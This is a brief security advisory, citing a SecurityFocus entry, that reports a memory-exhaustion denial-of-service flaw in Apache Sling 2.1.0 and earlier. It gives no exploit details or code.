Apache Sling - Denial of Service

                source: http://www.securityfocus.com/bid/54341/info

Apache Sling is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, resulting in a denial-of-service condition.

Apache Sling 2.1.0 and prior are vulnerable.
